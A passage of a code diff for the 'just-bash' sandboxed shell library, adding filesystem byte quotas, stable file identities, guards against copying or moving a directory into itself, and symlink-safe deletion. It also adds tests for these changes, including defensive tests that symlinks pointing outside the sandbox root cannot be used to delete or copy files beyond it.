+    this.setEntry(newNorm, linkedEntry);
   }
 
   // Read the target of a symbolic link
diff --git a/packages/just-bash/src/fs/in-memory-fs/quota.test.ts b/packages/just-bash/src/fs/in-memory-fs/quota.test.ts
new file mode 100644
index 00000000..9f9433e4
--- /dev/null
+++ b/packages/just-bash/src/fs/in-memory-fs/quota.test.ts
@@ -0,0 +1,92 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { InMemoryFs } from "./in-memory-fs.js";
+
+describe("InMemoryFs retained-byte accounting", () => {
+  it("counts a hard-linked body once and releases it after the final alias", async () => {
+    const fs = new InMemoryFs(undefined, { maxTotalBytes: 8 });
+    await fs.writeFile("/original", "12345678");
+    await fs.link("/original", "/alias");
+    await fs.rm("/original");
+
+    await expect(fs.writeFile("/other", "x")).rejects.toThrow("ENOSPC");
+    expect(await fs.readFile("/alias")).toBe("12345678");
+
+    await fs.rm("/alias");
+    await expect(fs.writeFile("/other", "x")).resolves.toBeUndefined();
+  });
+
+  it("does not credit an overwritten alias while another link retains it", async () => {
+    const fs = new InMemoryFs(undefined, { maxTotalBytes: 8 });
+    await fs.writeFile("/original", "12345678");
+    await fs.link("/original", "/alias");
+
+    await expect(fs.writeFile("/original", "x")).rejects.toThrow("ENOSPC");
+    expect(await fs.readFile("/original")).toBe("12345678");
+    expect(await fs.readFile("/alias")).toBe("12345678");
+  });
+
+  it("moves a full-quota file without requiring duplicate capacity", async () => {
+    const fs = new InMemoryFs(undefined, { maxTotalBytes: 8 });
+    await fs.writeFile("/source", "12345678");
+
+    await expect(fs.mv("/source", "/dest")).resolves.toBeUndefined();
+    expect(await fs.exists("/source")).toBe(false);
+    expect(await fs.readFile("/dest")).toBe("12345678");
+  });
+
+  it("keeps a lazy entry retryable when materialization exceeds the quota", async () => {
+    const fs = new InMemoryFs(undefined, { maxTotalBytes: 4 });
+    let calls = 0;
+    fs.writeFileLazy("/lazy", () => {
+      calls++;
+      return "12345";
+    });
+
+    await expect(fs.readFile("/lazy")).rejects.toThrow("ENOSPC");
+    await expect(fs.readFile("/lazy")).rejects.toThrow("ENOSPC");
+    expect(calls).toBe(2);
+  });
+
+  it("handles many small files without rescanning retained contents", async () => {
+    const fs = new InMemoryFs(undefined, { maxTotalBytes: 20_000 });
+    for (let index = 0; index < 10_000; index++) {
+      await fs.writeFile(`/files/${index}`, "x");
+    }
+    for (let index = 0; index < 10_000; index += 2) {
+      await fs.rm(`/files/${index}`);
+    }
+    for (let index = 0; index < 7_500; index++) {
+      await fs.writeFile(`/replacement/${index}`, "yy");
+    }
+
+    await expect(fs.writeFile("/overflow", "x")).rejects.toThrow("ENOSPC");
+  });
+});
+
+describe("Bash default filesystem quota", () => {
+  it("uses the resolved custom filesystem-byte limit", async () => {
+    const bash = new Bash({
+      files: { "/seed": "x".repeat(800) },
+      executionLimits: { maxFileSystemBytes: 1_024 },
+    });
+
+    await expect(bash.fs.writeFile("/extra", "x".repeat(800))).rejects.toThrow(
+      "byte limit exceeded (1024 bytes)",
+    );
+    await bash.fs.rm("/seed");
+    await expect(bash.fs.writeFile("/extra", "x")).resolves.toBeUndefined();
+  });
+
+  it("does not override the policy of an explicitly supplied filesystem", async () => {
+    const fs = new InMemoryFs(undefined, { maxTotalBytes: 16_384 });
+    const bash = new Bash({
+      fs,
+      executionLimits: { maxFileSystemBytes: 1 },
+    });
+
+    await expect(
+      bash.fs.writeFile("/file", "x".repeat(8_192)),
+    ).resolves.toBeUndefined();
+  });
+});
diff --git a/packages/just-bash/src/fs/interface.ts b/packages/just-bash/src/fs/interface.ts
index 57886c46..d79aedfb 100644
--- a/packages/just-bash/src/fs/interface.ts
+++ b/packages/just-bash/src/fs/interface.ts
@@ -84,6 +84,10 @@ export interface FsStat {
   mode: number;
   size: number;
   mtime: Date;
+  /** Stable filesystem identity when the backend can expose it safely. */
+  dev?: number | bigint;
+  ino?: number | bigint;
+  identity?: string;
 }
 
 /**
diff --git a/packages/just-bash/src/fs/mountable-fs/mountable-fs.ts b/packages/just-bash/src/fs/mountable-fs/mountable-fs.ts
index 9f4ad122..d11ba0d5 100644
--- a/packages/just-bash/src/fs/mountable-fs/mountable-fs.ts
+++ b/packages/just-bash/src/fs/mountable-fs/mountable-fs.ts
@@ -13,6 +13,7 @@ import type {
 } from "../interface.js";
 import {
   DEFAULT_DIR_MODE,
+  isSameOrDescendantPath,
   joinPath,
   normalizePath,
   resolvePath,
@@ -471,6 +472,10 @@ export class MountableFs implements IFileSystem {
   }
 
   async cp(src: string, dest: string, options?: CpOptions): Promise<void> {
+    const srcStat = await this.stat(src);
+    if (srcStat.isDirectory && isSameOrDescendantPath(src, dest)) {
+      throw new Error(`EINVAL: cannot copy '${src}' into itself, '${dest}'`);
+    }
     const srcRoute = this.routePath(src);
     const destRoute = this.routePath(dest);
 
@@ -489,6 +494,10 @@ export class MountableFs implements IFileSystem {
 
   async mv(src: string, dest: string): Promise<void> {
     const normalized = normalizePath(src);
+    const srcStat = await this.stat(src);
+    if (srcStat.isDirectory && isSameOrDescendantPath(src, dest)) {
+      throw new Error(`EINVAL: cannot move '${src}' into itself, '${dest}'`);
+    }
 
     // Cannot move mount points
     if (this.mounts.has(normalized)) {
diff --git a/packages/just-bash/src/fs/overlay-fs/overlay-fs.e2e.test.ts b/packages/just-bash/src/fs/overlay-fs/overlay-fs.e2e.test.ts
index 881a93ec..3823985a 100644
--- a/packages/just-bash/src/fs/overlay-fs/overlay-fs.e2e.test.ts
+++ b/packages/just-bash/src/fs/overlay-fs/overlay-fs.e2e.test.ts
@@ -54,7 +54,7 @@ describe("BashEnv with OverlayFs - E2E", () => {
     it("should read last lines with tail", async () => {
       const result = await env.exec("tail -n 2 /sample.txt");
       expect(result.exitCode).toBe(0);
-      expect(result.stdout).toBe("line4\nline5\n");
+      expect(result.stdout).toBe("line4\nline5");
     });
 
     it("should count lines with wc", async () => {
diff --git a/packages/just-bash/src/fs/overlay-fs/overlay-fs.test.ts b/packages/just-bash/src/fs/overlay-fs/overlay-fs.test.ts
index 023b9977..cd0b4192 100644
--- a/packages/just-bash/src/fs/overlay-fs/overlay-fs.test.ts
+++ b/packages/just-bash/src/fs/overlay-fs/overlay-fs.test.ts
@@ -39,6 +39,27 @@ describe("OverlayFs", () => {
         new OverlayFs({ root: filePath, allowSymlinks: true });
       }).toThrow("not a directory");
     });
+
+    it("bounds aggregate copy-on-write memory and releases removed files", async () => {
+      const overlay = new OverlayFs({
+        root: tempDir,
+        mountPoint: "/",
+        allowSymlinks: true,
+        maxMemoryBytes: 5,
+      });
+
+      await overlay.writeFile("/data", "abc");
+      await overlay.appendFile("/data", "de");
+      await expect(overlay.appendFile("/data", "f")).rejects.toThrow(
+        "overlay memory byte limit exceeded (5 bytes)",
+      );
+      await expect(overlay.readFile("/data")).resolves.toBe("abcde");
+
+      await overlay.rm("/data");
+      await expect(overlay.writeFile("/other", "12345")).resolves.toBe(
+        undefined,
+      );
+    });
   });
 
   describe("mount point", () => {
diff --git a/packages/just-bash/src/fs/overlay-fs/overlay-fs.ts b/packages/just-bash/src/fs/overlay-fs/overlay-fs.ts
index bdac9990..38a2494a 100644
--- a/packages/just-bash/src/fs/overlay-fs/overlay-fs.ts
+++ b/packages/just-bash/src/fs/overlay-fs/overlay-fs.ts
@@ -41,6 +41,7 @@ import {
 } from "../path-utils.js";
 import {
   isPathWithinRoot,
+  isSameOrDescendantPath,
   normalizePath,
   resolveCanonicalPath,
   resolveCanonicalPathNoSymlinks,
@@ -56,14 +57,18 @@ const OVERLAY_PASSTHROUGH_ERRORS = ["ELOOP", "EFBIG", "EPERM"] as const;
 interface MemoryFileEntry {
   type: "file";
   content: Uint8Array;
+  /** Append segments retained without copying the complete file per append. */
+  appendChunks?: Uint8Array[];
   mode: number;
   mtime: Date;
+  identity?: string;
 }
 
 interface MemoryDirEntry {
   type: "directory";
   mode: number;
   mtime: Date;
+  identity?: string;
 }
 
 interface MemorySymlinkEntry {
@@ -102,6 +107,12 @@ export interface OverlayFsOptions {
    */
   maxFileReadSize?: number;
 
+  /**
+   * Maximum bytes retained by copy-on-write files in the memory layer.
+   * Defaults to 1 GiB. Real backing files are not counted until copied.
+   */
+  maxMemoryBytes?: number;
+
   /**
    * Whether to allow following and creating symlinks on the real filesystem.
    * When false (default), any real-FS path traversing a symlink is rejected
@@ -119,9 +130,54 @@ export class OverlayFs implements IFileSystem {
   private readonly mountPoint: string;
   private readonly readOnly: boolean;
   private readonly maxFileReadSize: number;
+  private readonly maxMemoryBytes: number;
   private readonly allowSymlinks: boolean;
   private readonly memory: Map<string, MemoryEntry> = new Map();
   private readonly deleted: Set<string> = new Set();
+  private nextMemoryIdentity = 1;
+  private retainedMemoryBytes = 0;
+
+  private memoryEntryBytes(entry: MemoryEntry | undefined): number {
+    if (!entry || entry.type !== "file") return 0;
+    let bytes = entry.content.byteLength;
+    for (const chunk of entry.appendChunks ?? []) bytes += chunk.byteLength;
+    return bytes;
+  }
+
+  private assertMemoryCapacity(added: number, released = 0): void {
+    if (
+      !Number.isSafeInteger(added) ||
+      added < 0 ||
+      added > this.maxMemoryBytes - this.retainedMemoryBytes + released
+    ) {
+      throw new Error(
+        `ENOSPC: overlay memory byte limit exceeded (${this.maxMemoryBytes} bytes)`,
+      );
+    }
+  }
+
+  private setMemoryEntry(path: string, entry: MemoryEntry): void {
+    const released = this.memoryEntryBytes(this.memory.get(path));
+    const added = this.memoryEntryBytes(entry);
+    this.assertMemoryCapacity(added, released);
+    this.memory.set(path, entry);
+    this.retainedMemoryBytes += added - released;
+  }
+
+  private deleteMemoryEntry(path: string): void {
+    const existing = this.memory.get(path);
+    if (!existing) return;
+    this.retainedMemoryBytes -= this.memoryEntryBytes(existing);
+    this.memory.delete(path);
+  }
+
+  private identityFor(entry: MemoryEntry): string {
+    if (entry.type === "symlink") return "";
+    if (!entry.identity) {
+      entry.identity = `overlay:${this.nextMemoryIdentity++}`;
+    }
+    return entry.identity;
+  }
 
   constructor(options: OverlayFsOptions) {
     // Resolve to absolute path
@@ -140,6 +196,11 @@ export class OverlayFs implements IFileSystem {
     // Set max file read size (default 10MB)
     this.maxFileReadSize = options.maxFileReadSize ?? 10485760;
 
+    this.maxMemoryBytes = options.maxMemoryBytes ?? 1024 * 1024 * 1024;
+    if (!Number.isSafeInteger(this.maxMemoryBytes) || this.maxMemoryBytes < 0) {
+      throw new Error("OverlayFs: invalid maxMemoryBytes");
+    }
+
     // Set symlink policy
     this.allowSymlinks = options.allowSymlinks ?? false;
 
@@ -171,7 +232,7 @@ export class OverlayFs implements IFileSystem {
     for (const part of parts) {
       current += `/${part}`;
       if (!this.memory.has(current)) {
-        this.memory.set(current, {
+        this.setMemoryEntry(current, {
           type: "directory",
           mode: DEFAULT_DIR_MODE,
           mtime: new Date(),
@@ -180,7 +241,7 @@ export class OverlayFs implements IFileSystem {
     }
     // Also ensure root exists
     if (!this.memory.has("/")) {
-      this.memory.set("/", {
+      this.setMemoryEntry("/", {
         type: "directory",
         mode: DEFAULT_DIR_MODE,
         mtime: new Date(),
@@ -205,7 +266,7 @@ export class OverlayFs implements IFileSystem {
     for (const part of parts) {
       current += `/${part}`;
       if (!this.memory.has(current)) {
-        this.memory.set(current, {
+        this.setMemoryEntry(current, {
           type: "directory",
           mode: DEFAULT_DIR_MODE,
           mtime: new Date(),
@@ -228,7 +289,7 @@ export class OverlayFs implements IFileSystem {
       content instanceof Uint8Array
         ? content
         : new TextEncoder().encode(content);
-    this.memory.set(normalized, {
+    this.setMemoryEntry(normalized, {
       type: "file",
       content: buffer,
       mode: DEFAULT_FILE_MODE,
@@ -334,7 +395,7 @@ export class OverlayFs implements IFileSystem {
 
     if (!this.memory.has(dir)) {
       this.ensureParentDirs(dir);
-      this.memory.set(dir, {
+      this.setMemoryEntry(dir, {
         type: "directory",
         mode: DEFAULT_DIR_MODE,
         mtime: new Date(),
@@ -424,7 +485,26 @@ export class OverlayFs implements IFileSystem {
           `EISDIR: illegal operation on a directory, read '${path}'`,
         );
       }
-      return memEntry.content;
+      if (!memEntry.appendChunks || memEntry.appendChunks.length === 0) {
+        return memEntry.content;
+      }
+      const total = memEntry.appendChunks.reduce(
+        (sum, chunk) => sum + chunk.byteLength,
+        memEntry.content.byteLength,
+      );
+      if (!Number.isSafeInteger(total)) {
+        throw new Error(`EFBIG: file too large, read '${path}'`);
+      }
+      const combined = new Uint8Array(total);
+      combined.set(memEntry.content);
+      let offset = memEntry.content.byteLength;
+      for (const chunk of memEntry.appendChunks) {
+        combined.set(chunk, offset);
+        offset += chunk.byteLength;
+      }
+      memEntry.content = combined;
+      memEntry.appendChunks = undefined;
+      return combined;
     }
 
     // Fall back to real filesystem.  Use the canonical path for I/O to
@@ -494,7 +574,7 @@ export class OverlayFs implements IFileSystem {
     const encoding = getEncoding(options);
     const buffer = toBuffer(content, encoding);
 
-    this.memory.set(normalized, {
+    this.setMemoryEntry(normalized, {
       type: "file",
       content: buffer,
       mode: DEFAULT_FILE_MODE,
@@ -514,6 +594,17 @@ export class OverlayFs implements IFileSystem {
     const encoding = getEncoding(options);
     const newBuffer = toBuffer(content, encoding);
 
+    const existingEntry = this.memory.get(normalized);
+    if (existingEntry?.type === "file") {
+      this.assertMemoryCapacity(newBuffer.byteLength);
+      if (!existingEntry.appendChunks) existingEntry.appendChunks = [];
+      existingEntry.appendChunks.push(newBuffer);
+      this.retainedMemoryBytes += newBuffer.byteLength;
+      existingEntry.mtime = new Date();
+      this.deleted.delete(normalized);
+      return;
+    }
+
     // Try to read existing content
     let existingBuffer: Uint8Array;
     try {
@@ -522,14 +613,11 @@ export class OverlayFs implements IFileSystem {
       existingBuffer = new Uint8Array(0);
     }
 
-    const combined = new Uint8Array(existingBuffer.length + newBuffer.length);
-    combined.set(existingBuffer);
-    combined.set(newBuffer, existingBuffer.length);
-
     this.ensureParentDirs(normalized);
-    this.memory.set(normalized, {
+    this.setMemoryEntry(normalized, {
       type: "file",
-      content: combined,
+      content: existingBuffer,
+      appendChunks: [newBuffer],
       mode: DEFAULT_FILE_MODE,
       mtime: new Date(),
     });
@@ -570,7 +658,12 @@ export class OverlayFs implements IFileSystem {
 
       let size = 0;
       if (entry.type === "file") {
-        size = entry.content.length;
+        size =
+          entry.content.length +
+          (entry.appendChunks?.reduce(
+            (sum, chunk) => sum + chunk.byteLength,
+            0,
+          ) ?? 0);
       }
 
       return {
@@ -580,6 +673,7 @@ export class OverlayFs implements IFileSystem {
         mode: entry.mode,
         size,
         mtime: entry.mtime,
+        identity: this.identityFor(entry),
       };
     }
 
@@ -611,6 +705,8 @@ export class OverlayFs implements IFileSystem {
         mode: lstatResult.mode,
         size: lstatResult.size,
         mtime: lstatResult.mtime,
+        dev: lstatResult.dev,
+        ino: lstatResult.ino,
       };
     } catch (e) {
       if ((e as NodeJS.ErrnoException).code === "ENOENT") {
@@ -644,7 +740,12 @@ export class OverlayFs implements IFileSystem {
 
       let size = 0;
       if (entry.type === "file") {
-        size = entry.content.length;
+        size =
+          entry.content.length +
+          (entry.appendChunks?.reduce(
+            (sum, chunk) => sum + chunk.byteLength,
+            0,
+          ) ?? 0);
       }
 
       return {
@@ -654,6 +755,7 @@ export class OverlayFs implements IFileSystem {
         mode: entry.mode,
         size,
         mtime: entry.mtime,
+        identity: this.identityFor(entry),
       };
     }
 
@@ -675,6 +777,8 @@ export class OverlayFs implements IFileSystem {
         mode: stat.mode,
         size: stat.size,
         mtime: stat.mtime,
+        dev: stat.dev,
+        ino: stat.ino,
       };
     } catch (e) {
       if ((e as NodeJS.ErrnoException).code === "ENOENT") {
@@ -743,7 +847,7 @@ export class OverlayFs implements IFileSystem {
       }
     }
 
-    this.memory.set(normalized, {
+    this.setMemoryEntry(normalized, {
       type: "directory",
       mode: DEFAULT_DIR_MODE,
       mtime: new Date(),
@@ -989,7 +1093,7 @@ export class OverlayFs implements IFileSystem {
     }
 
     // Remove from memory layer
-    this.memory.delete(normalized);
+    this.deleteMemoryEntry(normalized);
 
     // Only add a tombstone when hiding a real-FS path.
     // For memory-only files there's nothing to hide, so skip the tombstone
@@ -1036,6 +1140,9 @@ export class OverlayFs implements IFileSystem {
       if (!options?.recursive) {
         throw new Error(`EISDIR: is a directory, cp '${src}'`);
       }
+      if (isSameOrDescendantPath(srcNorm, destNorm)) {
+        throw new Error(`EINVAL: cannot copy '${src}' into itself, '${dest}'`);
+      }
       await this.mkdir(destNorm, { recursive: true });
       const children = await this.readdir(srcNorm);
       for (const child of children) {
@@ -1122,14 +1229,14 @@ export class OverlayFs implements IFileSystem {
     const stat = await this.stat(normalized);
     if (stat.isFile) {
       const content = await this.readFileBuffer(normalized);
-      this.memory.set(normalized, {
+      this.setMemoryEntry(normalized, {
         type: "file",
         content,
         mode,
         mtime: new Date(),
       });
     } else if (stat.isDirectory) {
-      this.memory.set(normalized, {
+      this.setMemoryEntry(normalized, {
         type: "directory",
         mode,
         mtime: new Date(),
@@ -1151,7 +1258,7 @@ export class OverlayFs implements IFileSystem {
     }
 
     this.ensureParentDirs(normalized);
-    this.memory.set(normalized, {
+    this.setMemoryEntry(normalized, {
       type: "symlink",
       target,
       mode: SYMLINK_MODE,
@@ -1187,11 +1294,12 @@ export class OverlayFs implements IFileSystem {
     // Copy content to new location
     const content = await this.readFileBuffer(existingNorm);
     this.ensureParentDirs(newNorm);
-    this.memory.set(newNorm, {
+    this.setMemoryEntry(newNorm, {
       type: "file",
       content,
       mode: existingStat.mode,
       mtime: new Date(),
+      identity: existingStat.identity ?? `overlay:${this.nextMemoryIdentity++}`,
     });
     this.deleted.delete(newNorm);
   }
@@ -1425,14 +1533,14 @@ export class OverlayFs implements IFileSystem {
     const stat = await this.stat(normalized);
     if (stat.isFile) {
       const content = await this.readFileBuffer(normalized);
-      this.memory.set(normalized, {
+      this.setMemoryEntry(normalized, {
         type: "file",
         content,
         mode: stat.mode,
         mtime,
       });
     } else if (stat.isDirectory) {
-      this.memory.set(normalized, {
+      this.setMemoryEntry(normalized, {
         type: "directory",
         mode: stat.mode,
         mtime,
diff --git a/packages/just-bash/src/fs/path-utils.ts b/packages/just-bash/src/fs/path-utils.ts
index 29b7bfe2..2977a7a9 100644
--- a/packages/just-bash/src/fs/path-utils.ts
+++ b/packages/just-bash/src/fs/path-utils.ts
@@ -46,6 +46,20 @@ export function normalizePath(path: string): string {
   return `/${resolved.join("/")}` || "/";
 }
 
+/** True when candidate is the same virtual path as parent or below it. */
+export function isSameOrDescendantPath(
+  parent: string,
+  candidate: string,
+): boolean {
+  const normalizedParent = normalizePath(parent);
+  const normalizedCandidate = normalizePath(candidate);
+  return (
+    normalizedCandidate === normalizedParent ||
+    normalizedParent === "/" ||
+    normalizedCandidate.startsWith(`${normalizedParent}/`)
+  );
+}
+
 /**
  * Validate that a path does not contain null bytes.
  * Null bytes in paths can be used to truncate filenames or bypass security
diff --git a/packages/just-bash/src/fs/read-write-fs/read-write-fs.mv-transaction.test.ts b/packages/just-bash/src/fs/read-write-fs/read-write-fs.mv-transaction.test.ts
new file mode 100644
index 00000000..f99dc8c4
--- /dev/null
+++ b/packages/just-bash/src/fs/read-write-fs/read-write-fs.mv-transaction.test.ts
@@ -0,0 +1,117 @@
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { ReadWriteFs } from "./read-write-fs.js";
+
+function errno(code: string, hostPath: string): NodeJS.ErrnoException {
+  const error = new Error(
+    `${code}: host failure, '${hostPath}'`,
+  ) as NodeJS.ErrnoException;
+  error.code = code;
+  error.path = hostPath;
+  return error;
+}
+
+describe("ReadWriteFs mv transaction", () => {
+  let root: string;
+  let adapter: ReadWriteFs;
+
+  beforeEach(() => {
+    root = fs.mkdtempSync(path.join(os.tmpdir(), "rwfs-mv-transaction-"));
+    adapter = new ReadWriteFs({ root, allowSymlinks: true });
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+    fs.rmSync(root, { recursive: true, force: true });
+  });
+
+  it("sanitizes an initial source lstat failure for direct consumers", async () => {
+    const canary = `${root}/HOST_ROOT_CANARY/source`;
+    const actual = fs.promises.lstat.bind(fs.promises);
+    vi.spyOn(fs.promises, "lstat").mockImplementation(async (target) => {
+      if (String(target).endsWith("source")) throw errno("EIO", canary);
+      return actual(target);
+    });
+
+    const error = await adapter.mv("/source", "/dest").catch((value) => value);
+
+    expect(error).toBeInstanceOf(Error);
+    expect(String(error)).toBe("Error: EIO: mv '/source'");
+    expect(JSON.stringify(error)).not.toContain("HOST_ROOT_CANARY");
+    expect((error as Error & { cause?: unknown }).cause).toBeUndefined();
+  });
+
+  it("commits an EXDEV move through hidden sibling staging", async () => {
+    fs.mkdirSync(path.join(root, "source"));
+    fs.writeFileSync(path.join(root, "source", "new.txt"), "new");
+    fs.mkdirSync(path.join(root, "dest"));
+    fs.writeFileSync(path.join(root, "dest", "old.txt"), "old");
+    const actualRename = fs.promises.rename.bind(fs.promises);
+    let first = true;
+    vi.spyOn(fs.promises, "rename").mockImplementation(async (from, to) => {
+      if (first) {
+        first = false;
+        throw errno("EXDEV", String(from));
+      }
+      return actualRename(from, to);
+    });
+
+    await adapter.mv("/source", "/dest");
+
+    expect(fs.existsSync(path.join(root, "source"))).toBe(false);
+    expect(fs.readFileSync(path.join(root, "dest", "new.txt"), "utf8")).toBe(
+      "new",
+    );
+    expect(fs.existsSync(path.join(root, "dest", "old.txt"))).toBe(false);
+    expect(fs.readdirSync(root)).toEqual(["dest"]);
+  });
+
+  it("restores source and destination when staged source deletion fails", async () => {
+    fs.mkdirSync(path.join(root, "source"));
+    fs.writeFileSync(path.join(root, "source", "new.txt"), "new");
+    fs.mkdirSync(path.join(root, "dest"));
+    fs.writeFileSync(path.join(root, "dest", "old.txt"), "old");
+    const actualRename = fs.promises.rename.bind(fs.promises);
+    const actualRm = fs.promises.rm.bind(fs.promises);
+    let first = true;
+    vi.spyOn(fs.promises, "rename").mockImplementation(async (from, to) => {
+      if (first) {
+        first = false;
+        throw errno("EXDEV", String(from));
+      }
+      return actualRename(from, to);
+    });
+    vi.spyOn(fs.promises, "rm").mockImplementation(async (target, options) => {
+      if (String(target).includes(".just-bash-mv-source-")) {
+        throw errno("EIO", String(target));
+      }
+      return actualRm(target, options);
+    });
+
+    await expect(adapter.mv("/source", "/dest")).rejects.toThrow(
+      "EIO: mv '/source'",
+    );
+    expect(fs.readFileSync(path.join(root, "source", "new.txt"), "utf8")).toBe(
+      "new",
+    );
+    expect(fs.readFileSync(path.join(root, "dest", "old.txt"), "utf8")).toBe(
+      "old",
+    );
+    expect(fs.readdirSync(root).sort()).toEqual(["dest", "source"]);
+  });
+
+  it("rejects a symlink-spelled descendant using canonical identity", async () => {
+    fs.mkdirSync(path.join(root, "source"));
+    fs.writeFileSync(path.join(root, "source", "keep.txt"), "keep");
+    fs.symlinkSync(path.join(root, "source"), path.join(root, "alias"));
+
+    await expect(adapter.mv("/source", "/alias/child")).rejects.toThrow(
+      "cannot move '/source' into itself",
+    );
+    expect(fs.readFileSync(path.join(root, "source", "keep.txt"), "utf8")).toBe(
+      "keep",
+    );
+  });
+});
diff --git a/packages/just-bash/src/fs/read-write-fs/read-write-fs.security.test.ts b/packages/just-bash/src/fs/read-write-fs/read-write-fs.security.test.ts
index d624d8ff..cb379729 100644
--- a/packages/just-bash/src/fs/read-write-fs/read-write-fs.security.test.ts
+++ b/packages/just-bash/src/fs/read-write-fs/read-write-fs.security.test.ts
@@ -129,6 +129,33 @@ describe("ReadWriteFs Security - Path Traversal Prevention", () => {
   });
 
   describe("deletion security", () => {
+    it("removes an allowed symlink entry without deleting its file target", async () => {
+      const target = path.join(tempDir, "target.txt");
+      const link = path.join(tempDir, "target-link");
+      fs.writeFileSync(target, "preserve me");
+      fs.symlinkSync(target, link);
+
+      await rwfs.rm("/target-link");
+
+      expect(fs.existsSync(link)).toBe(false);
+      expect(fs.readFileSync(target, "utf8")).toBe("preserve me");
+    });
+
+    it("removes an allowed symlink entry without recursively deleting its directory target", async () => {
+      const target = path.join(tempDir, "target-dir");
+      const link = path.join(tempDir, "target-dir-link");
+      fs.mkdirSync(target);
+      fs.writeFileSync(path.join(target, "keep.txt"), "preserve me");
+      fs.symlinkSync(target, link);
+
+      await rwfs.rm("/target-dir-link", { recursive: true });
+
+      expect(fs.existsSync(link)).toBe(false);
+      expect(fs.readFileSync(path.join(target, "keep.txt"), "utf8")).toBe(
+        "preserve me",
+      );
+    });
+
     it("should not delete files outside root", async () => {
       // Try to delete the outside file
       await expect(rwfs.rm(outsideFile)).rejects.toThrow();
@@ -514,7 +541,7 @@ describe("ReadWriteFs Security - Path Traversal Prevention", () => {
       expect(realContent).toBe("TOP SECRET DATA - YOU SHOULD NOT SEE THIS");
     });
 
-    it("should block rm via pre-existing OS symlink pointing outside", async () => {
+    it("should unlink a pre-existing OS symlink without touching its outside target", async () => {
       const linkPath = path.join(tempDir, "rm-escape");
       try {
         fs.symlinkSync(outsideFile, linkPath);
@@ -522,8 +549,8 @@ describe("ReadWriteFs Security - Path Traversal Prevention", () => {
         return;
       }
 
-      await expect(rwfs.rm("/rm-escape")).rejects.toThrow();
-      // Verify the real file still exists
+      await rwfs.rm("/rm-escape");
+      expect(fs.existsSync(linkPath)).toBe(false);
       expect(fs.existsSync(outsideFile)).toBe(true);
     });
 
@@ -814,27 +841,10 @@ describe("ReadWriteFs Security - Path Traversal Prevention", () => {
         return;
       }
 
-      // Recursive copy should skip the escape symlink
-      await rwfs.cp("/src-dir", "/dest-dir", { recursive: true });
-
-      // safe.txt should be copied
-      const safe = await rwfs.readFile("/dest-dir/safe.txt");
-      expect(safe).toBe("safe");
-
-      // escape-link should NOT be copied (or should not point outside)
-      const destLinkPath = path.join(tempDir, "dest-dir", "escape-link");
-      if (fs.existsSync(destLinkPath)) {
-        // If it was copied, verify it doesn't point outside
-        try {
-          const resolved = fs.realpathSync(destLinkPath);
-          const canonicalRoot = fs.realpathSync(tempDir);
-          expect(
-            resolved.startsWith(canonicalRoot) || resolved === canonicalRoot,
-          ).toBe(true);
-        } catch {
-          // ENOENT is fine - broken symlink is safe
-        }
-      }
+      await expect(
+        rwfs.cp("/src-dir", "/dest-dir", { recursive: true }),
+      ).rejects.toThrow("contains an unsafe symlink");
+      expect(fs.existsSync(path.join(tempDir, "dest-dir"))).toBe(false);
     });
   });
 
@@ -1443,15 +1453,10 @@ describe("ReadWriteFs Security - Path Traversal Prevention", () => {
         return; // symlinks not supported, skip
       }
 
-      await rwfs.cp("/cp-src", "/cp-dest", { recursive: true });
-
-      // Safe file should be copied
-      const safeContent = await rwfs.readFile("/cp-dest/safe.txt");
-      expect(safeContent).toBe("safe content");
-
-      // Escaping symlink should NOT be copied (filter blocks it)
-      const escapeExists = await rwfs.exists("/cp-dest/escape-link");
-      expect(escapeExists).toBe(false);
+      await expect(
+        rwfs.cp("/cp-src", "/cp-dest", { recursive: true }),
+      ).rejects.toThrow("contains an unsafe symlink");
+      expect(fs.existsSync(path.join(tempDir, "cp-dest"))).toBe(false);
     });
   });
 
diff --git a/packages/just-bash/src/fs/read-write-fs/read-write-fs.ts b/packages/just-bash/src/fs/read-write-fs/read-write-fs.ts
index cdd5253d..578cf6d7 100644
--- a/packages/just-bash/src/fs/read-write-fs/read-write-fs.ts
+++ b/packages/just-bash/src/fs/read-write-fs/read-write-fs.ts
@@ -71,6 +71,7 @@ export class ReadWriteFs implements IFileSystem {
   private readonly canonicalRoot: string;
   private readonly maxFileReadSize: number;
   private readonly allowSymlinks: boolean;
+  private transactionId = 0;
 
   constructor(options: ReadWriteFsOptions) {
     this.root = nodePath.resolve(options.root);
@@ -296,6 +297,9 @@ export class ReadWriteFs implements IFileSystem {
         mode: stat.mode,
         size: stat.size,
         mtime: stat.mtime,
+        dev: stat.dev,
+        ino: stat.ino,
+        identity: `real:${stat.dev}:${stat.ino}`,
       };
     } catch (e) {
       const err = e as NodeJS.ErrnoException;
@@ -320,6 +324,9 @@ export class ReadWriteFs implements IFileSystem {
         mode: stat.mode,
         size: stat.size,
         mtime: stat.mtime,
+        dev: stat.dev,
+        ino: stat.ino,
+        identity: `real:${stat.dev}:${stat.ino}`,
       };
     } catch (e) {
       const err = e as NodeJS.ErrnoException;
@@ -396,16 +403,24 @@ export class ReadWriteFs implements IFileSystem {
   async rm(path: string, options?: RmOptions): Promise<void> {
     validatePath(path, "rm");
     const realPath = this.toRealPath(path);
-    const canonical = this.resolveAndValidate(realPath, path);
+    // Deletion is entry-oriented: authorize the parent, but do not resolve the
+    // final component. Resolving it would turn `rm link` into `rm target` when
+    // symlinks are allowed, which can delete an unrelated file or directory.
+    const canonical = this.validateParent(realPath, path);
 
     try {
+      const stat = await fs.promises.lstat(canonical);
+      if (!this.allowSymlinks && stat.isSymbolicLink()) {
+        throw new Error(`EACCES: permission denied, '${path}' is a symlink`);
+      }
       await fs.promises.rm(canonical, {
         recursive: options?.recursive ?? false,
         force: options?.force ?? false,
       });
     } catch (e) {
       const err = e as NodeJS.ErrnoException;
-      if (err.code === "ENOENT" && !options?.force) {
+      if (err.code === "ENOENT") {
+        if (options?.force) return;
         throw new Error(`ENOENT: no such file or directory, rm '${path}'`);
       }
       if (err.code === "ENOTEMPTY") {
@@ -422,6 +437,28 @@ export class ReadWriteFs implements IFileSystem {
     const destReal = this.toRealPath(dest);
     const srcCanonical = this.resolveAndValidate(srcReal, src);
     const destCanonical = this.resolveAndValidate(destReal, dest);
+    let srcStat: fs.Stats;
+    try {
+      srcStat = await fs.promises.lstat(srcCanonical);
+    } catch (e) {
+      const err = e as NodeJS.ErrnoException;
+      if (err.code === "ENOENT") {
